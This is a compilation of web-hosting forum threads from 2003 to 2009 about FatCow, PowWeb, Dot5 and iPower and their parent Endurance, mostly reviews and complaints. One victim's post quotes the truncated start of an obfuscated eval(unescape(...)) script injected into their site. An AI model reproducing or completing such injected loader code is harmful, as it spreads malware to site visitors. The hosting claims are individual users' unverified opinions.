FatCow, Dot5, PowWeb, IPower: One In The Same!

Aug 5, 2008

I found out today that FatCow, Dot5 Hosting, PowWeb, and iPower Hosting are all part of the smae hosting conglomerate. The parent company is called Endurance International Group. It seems that the companies have gone out of their way to make their connections unpublished, which is very misleading to their customers. However, I recognized some similarities of their websites, and spoke with a representative over the phone who admitted that they were all connected. There are probably other companies too, but they wouldn't give out any more info.

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Fatcow / Ipower

Aug 21, 2009

I am a bit confused about both. Are they the same company?

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Dot5 Hosting

Jun 19, 2007

Anyone heard of dot5hosting? I am considering them for my site. I'm putting up a site for the first time in 5 or 6 years and I want to "ease" myself into it, but yet have a little scalability for when I want to do more advanced stuff.

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Fatcow Or Madcow?

May 28, 2008

Following a conversation with a sales representive of fatcow.com I think they should rename themselves madcow here is the conversation:

Thank you for contacting support.

Please be prepared to answer your Security Question when we begin chatting. To enhance our security protocols, we'll need you to provide the answer to your Security Question at the beginning of our conversation. If you have not yet set your Security Question and Answer, please log into your account now to set it up. Thank you.

Please hold for the next available operator to respond.

You are now chatting with 'Rosie Dean'

Rosie Dean: Hi Stu, My name is Rosie Dean, how are you today?

stu: hello rosie

Rosie Dean: How can I help you today?

stu: how many clients to you roughly have

Rosie Dean: Could you please let me know whether you have hosting account with us?

stu: no I havent

Rosie Dean: Could you please let me know our Web site link you have used to contact us?

stu: I see your site on wht

Rosie Dean: Okay. I need that URL.

stu: http://www.webhostingtalk.com/showthread.php?t=695921

Rosie Dean: I mean our Web site URL.

stu: you need your own url lol

stu: http://www.fatcow.com/fatcow/fatcow.bml

Rosie Dean: Thank you for your interest in FatCow.

Rosie Dean: We have around one lack customers.

stu: lack?

Rosie Dean: Yes.

Rosie Dean: How can I help you today?

stu: I asked how many customers you roughly have?

Rosie Dean: Yes, we have around one lack customers.

stu: Wiktionary, the free dictionary.To lack something is to not have it.

stu: can you write this in figures please

Rosie Dean: Okay. [5min pause]

stu: I take it you cant answer my questions have a good day.

Rosie Dean: Hold on for two minutes.

stu: ok

Rosie Dean: I apologize for providing the inaccurate information.

Rosie Dean: We have around 25, 000 customers.

stu: ahh thank you for being able to answer, sorry it was abit of a complex question.

Rosie Dean: No problem.

stu: have a good day thank you for your help

Rosie Dean: Thank you for chatting with us. Please feel free to contact us at any time. We are available 24x7.

Chat session has been terminated by the site operator.

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Your Opnion About Fatcow

Apr 1, 2009

their pricing of $66 per year is decent going by the features.

please share your experiences with fatcow.com and how is the support?

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Fatcow Any Good?

Aug 24, 2009

I was looking for a webhost with adwords credit, and cheap.

When I went to Bluehost and Hostgator, the more well-known sites they had $50 adwords credit each but couldn't get their price down to less than 58$ a year. With Fatcow seems to be $44 a year and also have $50 adwords credit.

Does somebody know their reliability? I was searching google and the host seems to be a new person in town and that might be a problem.

Preferably I was searching for $20 a year webplans but I can't seem to find one with adwords credit. I want to use the adwords to drive quick traffic to a new site. I am not sure should I go for the adwords credit+ hosting or hosting seperate + adwords seperate. The keywords I'm gonna use only have 1,000-10,000 max visitors a month. If the credit is only valid for a limited time than I'd maybe better off with a both seperate.

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JustHost, FatCow, SharkSpace Or Other?

Oct 17, 2009

I am looking for a host for a website I am working on.

It is for an association of about 200-300 members, and I do assume that not all of them will visit the site.

The site consists of mainly text, and one weekly podcast.

Considering this kind of usage, I have been looking around for hosting.

I first looked at JustHost and FatCow.

JustHost sounded great because of the price at 2.95/month and free domain for life, but if I decide to change host, I wonder what they will do to my domain. They also promise "unlimited features" and that is usually too good to be true. Although they have amazing reviews all around the internet, not only the biased ranking websites but I snooped deeper, I am not quite sure they are what I need.

Same thing for FatCow, but I do have a little bit more confidence in them because they have been in business for 10 years I believe where JustHost has only been there for a year. FatCow was at just under 5$/month. Plus, its 100% wind-powered...

Last option I found was SharkSpace.com. I found it, being a sticky in one of the forums here. I am interested in the Hammerhead Shared Hosting package. I believe they do not oversell, and its not UNLIMITED webspace and bandwidth. They have been in business since 2004 so its still longer than many other hosts. They also have amazing reviews, I have yet seen a negative one. And finding a coupon for 3.98$/month is also a really good deal for something that looks more reliable. But to that I will have to buy my domain elsewhere as it is not included. 10$/year = 4.81$/month.

Longest lasting business: Fat Cow, Also most expensive.
What I believe is the most reliable: SharkSpace
Cheapest Price: Just Host

If you know another host that you know is reliable, fast, and trustworthy, in the same price range. Let me know too.

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FatCow Vs Hawk Host

Mar 16, 2009

Is Fat Cow any good? I think I have my hosting down between Fat Cow and Hawk Hosting. Is there any others I should look into?

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Powweb :: What Do You Think?

Oct 12, 2005

Does anyone have any experience with www.powweb.com?

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PowWeb And Lunarpages?

Jun 16, 2006

Anyone got any recommendations on these two hosts?

PowWeb seems to offer a lot of storage, whats the catch?

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Anybody Tried Midphase Or Powweb Please?

Feb 24, 2006

Looking for more webhosting for different sites: I was wondering if anybody had any opinions on Midphase or Powweb please. I have researched them both throughly but would be interested to know what the latest opinions are on them.

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My 5 Year Review Of Powweb

Oct 19, 2007

I have had several accounts with Powweb for 5 years now and I thought I would write a brief review of them:


I originally went with Powweb 5 years ago based off of a referral from a friend. At the time, the “shared hosting environment” isn’t quite what it is today. For the first several years, I experienced trouble free hosting (for the most part) and truly felt as though I was “getting what I paid for.”

Powweb, back then, was a privately owned company based out of California ( I believe) and I usually got the impression that most of their employees truly cared about their customers and the quality of service they provided. What made them semi-unique at the time, was that they offered only a “one plan solution” (they didn’t offer multiple plan types) and the simplicity of their business model worked well for most.

Powweb was also unique in that they offered community forums which were pretty “open” and it truly allowed customers to discuss problems and issues with one another. A few years ago, they transitioned from private dedicated servers to a clustered environment and that did bring along some hard time, but they got it under control eventually. Overall, I was satisfied with the service.


A year or so ago Powweb was bought-out by Endurance. If you do not know anything about Endurance, they are a very large web-hosting company which has acquired several other large shared-hosts over the past few years.

Once Powweb was purchased by Endurance, the quality in service immediately decreased. Part of what Endurance does with most of their acquisitions is to assimilate them into their fold. This was a very shaky process and nearly everyone experience a large amount of downtime.

Additionally, Powweb is now plagued by horrible MySQL issues where the service is nearly completely useless. For the past year, Powweb has been either unable or unwilling to fix these issues. It can often take several minutes for even the most basic of queries to run. Any dynamic type of an application: forums, blogs, CMS, are usually rendered completely useless.

To make matters worse, Powweb continues to aggressively advertise these resource heavy applications and then ask for patience as they attempt to get their issues fixed. It has been about a year now, and still it is not resolved. Much of these issues come from the extreme overselling that Powweb does. Nearly every day, all websites (even static ones) come to a complete crawl.

Calling customer support is also a waste of your time. 95% of the time, you are met by a rude person who simply tells you “well, it seems to work for me” or that “we are aware of the problem” (at best). Opening support tickets is also usually not helpful. Tickets are often closed without any contact with the customer and it is very common for them to “give you the run-around.”

I have been told by support several times to keep an eye on the forums for updates on issues and whatnot. Then, if you go to the forums and attempt to get any information from there, you are told that ‘these are only user-helping user forums’ and that you can’t get any official help there, though customer support told you to go to that very place. Additionally, Powweb’s staff practices extreme censorship of the forum and it is common for negative remarks to be removed or posts completely deleted, many times without any acknowledgement of the act.

In addition to the MySQL issues, Powweb also experiences frequent “lock-ups,” CGI issues, email issues, dns issues, and so on and so forth. The list of problems that has occurred over the past year is literally too long to remember.

In conclusion, the Powweb of new is nothing like the Powweb of old. This new Powweb is controlled by an over-selling giant (Endurance) that is only concerned with the number of accounts as apposed to the quality of service. While certainly any business related site should not be in such an environment at all, I would even suggest that people looking for a host for hobby related purposes stay clear of powweb – it’s that bad.

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Powweb Raises Rates

Jul 23, 2008

Even though it is not mentioned anywhere on their web site, powweb billed me $8.77/mo instead of the advertised $7.77. I asked about this in their forum and that << removed >> Ian promptly deleted my post. Has anyone else heard about this?

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Powweb Charging Loyal Customers More...

Jul 11, 2008

Powweb's regular monthly charge is $7.77... Long term customers have been paying this for years, and it's still the price listed on their main page. It's even the price new customers will pay...

However, existing customer for some reason now have to pay the undocumented price of $8.77 a month.

Way to treat your existing customers! Charging them more for no reason other than they've been loyal!

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Powweb Live Technical Support

Sep 5, 2008

The sales Live Support of powweb is great but after signing up an account with them, the technical support seems to be very bad.

I need to wait more than one hour to get a support staff.

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Fatcow / AnHosting / Host Excellence / Netfirms / A Small Orange?

Apr 5, 2009

I have short-listed the hosting services I initially liked down to the following:

1. FatCow
2. An Hosting
3. Host Excellence
4. Netfirms
5. StableHost
6. A Small Orange

Which of them would be most suitable for me. I am about to start a small online business: two websites and a couple of blogs.

I am after proven reliability, 24/7 support, no down time and many resources (which most do anyway).

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Is Powweb And Dot5hosting Owned By The Same Owner? Or Are They Diffrent?

Apr 11, 2008

I'm looking both at powweb website and dot5hosting and the products page look exactly the same with different colors. Are they owned by different owners, or do do their pages just look the same?

Here are the links ....

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Go Daddy Domain W/ Powweb Hosting Problem

Mar 6, 2007

I just registered a .info domain with GoDaddy for $0.99, and have the nameservers set up for Powweb, and my htaccess also setup; however, going to "mysite.info" works, but typing "www.mysite.info" does not work. I do not have this issue with any other of my domains. Any ideas?

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Ipower - What Do You Think?

Nov 15, 2003

My friend uses ipowerweb.com's service and it looks pretty good, tell me what you think?

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Anyone Know About Ipower?

Feb 19, 2008

We've been with ipower for 5 years and never really had any problems. Their customer service has never been very good but never noticed any down time. Now that they have moved to their new vdeck our site has been down, email has been down and problems with ftp. Have been reading customer reviews on serveral review sites with horror stories. Now we're trying to decide whether to stay and hope they resolve their issues or jump ship.

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Ipower Is Down !!

Mar 12, 2009

Alright Guys Ipower Is Down,What Do you Guys Make Of This,I think Its Just a minor Glitch and Their gonna Get up Pretty Fast.

What Do you Guys Think?

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Ipower - What Do You Think?

May 15, 2006

I visited Cnet.com prior to switch my hosting plan to Ipowerweb, Cnet gave Ipowerweb a Top 10 recommendation and it did help me made up my mind. Well.. It was a huge mistake and now I'm writing formal complains to BBB and the Attorney General. Also, I CC Cnet customer service and urge them to remove Ipowerweb from their recommendation list.

I used to have my domain with register.com and with my pages hosted by hostsave.com for almost 5 years. They're pretty good but a little pricy. So, with only 1/3 of the price, I switched both my domain & hosting to Ipowerweb on 4/7/2006. Normally, you should receive an email notification with username and password within couple hours so you can start to use the CP. But with Ipowerweb, I waited for 3 days and not getting anything, but the domain was transferred (From Register.com). Without any clue, I created a ticket to Ipower requesting the transfer status , the support team gave me a response, which was to have me contact their billing department due to authentication issues. Well, base their instruction, I sent another email to their billing and waited for another 3 days without any response. I just can’t wait any longer, so I called and waited 47 minutes and finally talked to their billing people, said they need a copy of my Visa-card and my Driver license so they can activate my account. Even that sound a little strange and unreasonable, but with a domain down for almost 10 days, I have to do what they ask me to do, so I attached the photo-scan in the return email.. Well, another 3 days passed.. No response !!.. Then I made another call, they claimed that I need to Fax the Photo-scan over instead of emailing (why didn’t they tell me at first place ?) and they gave me a fax number to submit my scan. Well, I tried that number for almost 20 hours (A Modem/Fax Card with automatic dialing for every 5 minutes), for some reason, the fax line was always busy... waited for another 3 days.. Complained over and over but nobody from Ipowerweb even bother to contact me ..

It's now been almost 1.5 month, that I was forced to gave up my domain and to get a new one form my current carrier.. I have to change my email address cause my domain was hijack by Ipowerweb. I sincerely believe they did it on purpose cause there’s no way a company could be so rude and so stupid but still stay in business. Having talking to Ipower People is like talking to a bunch of idiots. Compare with what I'm with now.. Ipower is a joke !!!! … I’m waiting till 6/7/2006 to reclaim my domain back, cause base on ICANN rules, a domain can not be transferred again within 60 days. Even though I know it’s gonna be difficult cause Ipowerweb had my domain locked, but, I’ll still try and I will bring them to court if necessary.

Know what, Just couple of weeks ago, I got an email from Ipowerweb , they asked my to participate a survey and to rank their service level since I've been with them for over a month now, HELLO, GIVE ME A BREAK !!!! ... I CAN NOT even get access to my CP ...

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Never Use IPower

Jul 18, 2007

I have a VPS hosted through iPower (or more my company does), and it comes with Virtuozzo and Plesk installed. When I started here the VPS was already set up, so I didn't get a say in it. Anyway about a month or so ago I started getting just random errors in Plesk when trying to set up Mailman. I shrugged it off at the time because I was busy designing a website. Now however I have a staggering list of errors, and 2+weeks and 8+ contacts (Live online, phone, and email) with iPower, things are only worse then when they started. So, for your enjoyment, is a sample of our email conversation, copied and pasted from my inbox. Let's just say LiquidWeb got an email from me today, I'd pay double what they are charging for halfway decent customer support.

P.S. I love how they get generic "American" sounding names like Audrey K. or Jim C., etc, yet can't really speak English......

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Aug 12, 2008

About a month ago I opened a new hosting account with IPOWER. I had a bad experience with IPOWERWEB about 4 years ago but since they had my domain subscription I decided to keep things easy and use them to host the domain...bad choice. During the first 30 days I have had nothing but problems. The biggest issue is performance. All I was doing was running a simple php-based message board with about a dozen users. The mySQL performance was so bad that moving from one forum to another took about 45 to 60 seconds. VDeck....don't get me started. After opening 3 to 4 tickets for support on the performance issues I was finally told that they had major mySQL peformance problems and were starting a project to address.

Needless to say I dropped the account within the 30 day trial period and after doing hours and hours of research on this board (thanks!) and a few others, I went with Hawkhost. I could not be happier! The pricing is great, the support is outstanding, and my performance is lightning fast. If you are looking for a basic but solid hosting account you cannot go wrong. Thank you to all who made the Hawkhost recommendation. IPOWER, you can GTH!

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Has Ipower Been Hacked?

Sep 19, 2008

I've had a Ipower hosting account since 2002 and recently even renewed both my service and domain registration.

I recently noticed that a small/odd javascript statement had been added to the bottom of my page and I didnt add it. I noticed this after visiting my page and when my Antivirus alerted me to ' HTML/Dldr.Iframe.DP [virus]' apparently some type of iframe redirect via this script to download malware.

After googling around about "HTML/Dldr.Iframe.DP [virus]" I found another person who has an ipower account mentioning the exact same problem on their site.

Does anybody know anything abou this?

Has anybody heard anything about ipower sites being recently hacked or something?

How and why has this happened? is my site just special and am I lucky? or has this recently also happened to other ipower accounts to?

I've contacted ipower but expect some generic response of no real help.

Most importantly, should I go through my few pages which comprise in fact my quite small site and check to see if they also have been hacked with malicious javascript code? Should I upload new pages? Change my password?

All of my content looks ok and in place, no pages defaced except apprently this small insertion of malicious javascript cod at the bottom of my main index page.

I have pasted just the basic fragment of the code below -

<script>eval(unescape("%77%69%6e%64%6f .....

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Ajax - IPower VPS

Oct 28, 2007

I recently changed from shared hosting to VPS hosting w/ iPower.

Since the move, my AJAX checkout module stopped working. No coding changes have been made on my end. Could the issue be on the server side? Do I need to enable something in PLESK?

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Transferring Domain From Ipower

Jun 12, 2008

I started my very first website with ipowerweb 29 day's ago.

Now I want to change hosting to hostgator. But how I can transfer domain name? It's not possible as it's only 29 days old.

If I continue with ipowerweb till 60 day's, I wiouldn't be able to eligible for 30 day moneyback guaruntee.

What should I do?

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Another Negative Review Of Ipower

Jul 3, 2008

Yet another negative review of ipower.... I want to start by saying that this site has been indispensable in helping me come to a decision about changing hosts. The top ten lists I was finding seemed strange and fake, and I'm glad my suspicions about them were confirmed. I love the atmosphere here as well. Everyone is so helpful in their posts.

I've been hosting a personal site with ipower for about 6 years and most of the time it's been fine in terms of pricing and service for what I've needed. About a year ago I started a gaming guild site that is also hosted with them which experienced many unexplained outages. (All I can think is a bandwidth problem, even though it displayed garbled statistics that it was both exceeding and hardly using any.)

They migrated the gaming guild's site to the new platform they're making everyone go to (vDeck 3) with no problems, but it is horrendously slow and tedious to work with. How this could have been considered better is beyond me.

I found my personal site to be down a few days ago and emailed customer service about the problem when it did not clear up after a few hours. I was looking for information on whether it was a problem on my end or theirs and got back this gem - "you need to check the errors with your Web site by your own. If you do not wish to do so you can signup for a new account."

Frustrated with this response, I called up to see what the problem was. Apparently my site is on a server that has now been shut down. They could not migrate it because it is "too complex." The customer service guy could not give me further information beyond that. The only solution is to backup my site, open a new account with them and set the whole thing up again. (The CS guy sounded embarrassed about this.) Also, the data on my webspace will be deleted in seven days. Here's the kicker - I was notified about NONE OF THIS.

I was debating between staying with them and taking the "devil you know" approach (and having to deal with their terrible vdeck 3 platform with mysql/phpmyadmin speeds that make me want to pull my hair out) or switching and possibly running into worse problems down the road. Thanks to these forums, I don't think I'll have to make that kind of a decision now and I learned a lot about web hosting in the process!

After a few hours of research I think I've settled on Hawk Host. I'm really liking what I see when I read about them here, comparing them to other hosts and visiting their support forums. I hope to come back and add a positive review at some point in the future. A very aggravating experience has been completely turned around for me at this point.

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All My Sites Are Down Since Several Hours At IPower

Feb 17, 2008

Is it normal ? What can I do?

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IPOWER Hosting Is Excellent...

Mar 1, 2009

We are now with Ipower for 18 months, and I would like to say there was very good service from their side... downtime was minimal (1 hour out of 18 months), and their support is excellent - executives speaking perfect english and offering very professional and helpful service 24 x 7
We don't run a huge traffic heavy website, but we do run certain smaller websites, and it was a good service all along.

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Are IPower Hosting That Worst?

Mar 11, 2009

I sign up iPower Hosting package since 5th march 2009, and trying to migrate my database from my current cpanel over their control panel but thing does not works, and I have submit the ticket over there. but the respond from them very slow, and each reply does not help much.

the question has asking repeat again and again, the information I provide also again and again.
see how their respond time for my ticket ...

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